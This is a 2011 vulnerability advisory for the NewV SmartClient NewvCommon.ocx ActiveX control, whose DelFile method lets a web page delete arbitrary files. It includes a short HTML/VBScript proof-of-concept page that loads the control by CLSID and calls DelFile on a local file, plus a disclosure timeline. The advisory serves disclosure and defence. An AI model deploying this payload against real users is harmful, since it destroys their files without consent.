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NewvCommon.ocx Active-X Insecure Method

NewvCommon.ocx Active-X Insecure Method
Posted Jan 10, 2011
Authored by Shennan Wang

The NewvCommon.ocx active-x control suffers from an insecure method vulnerability.

tags | exploit, activex
MD5 | cca8d115732579c471d7f347233a6b24

NewvCommon.ocx Active-X Insecure Method

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NewvCommon.ocx ActiveX Insecure Method Vulnerability
========
Vulnerable:All Version
Vendor:www.newv.com.cn


Details:
========
A Insecure method vulnerability has been found in NewV SmartClient.
The specific flaw exists within the DelFile method of the Newv ActiveX control (NewvCommon.ocx).
The DelFile method does not handle user's input exactly that can be used to delete arbitrary files on users system.


POC:
========
Function DelFile (
ByVal FilePath As Variant
) As String


<html>
<head>
<script language='vbscript'>
arg1 = "c:\\test.txt"
</script>
</head>
<object classid='clsid:0B68B7EB-02FF-4A41-BC14-3C303BB853F9' id='target' />
</object>
<script language='vbscript'>
target.DelFile arg1
</script>
</html>


Timeline:
========
2010.10.23 Report to vendor,no response.
2011.01.10 Public



Reference:
========
http://www.newv.com.cn
http://demo.newv.com.cn/lds/module/smartclientsetting.exe
http://www.nansec.com

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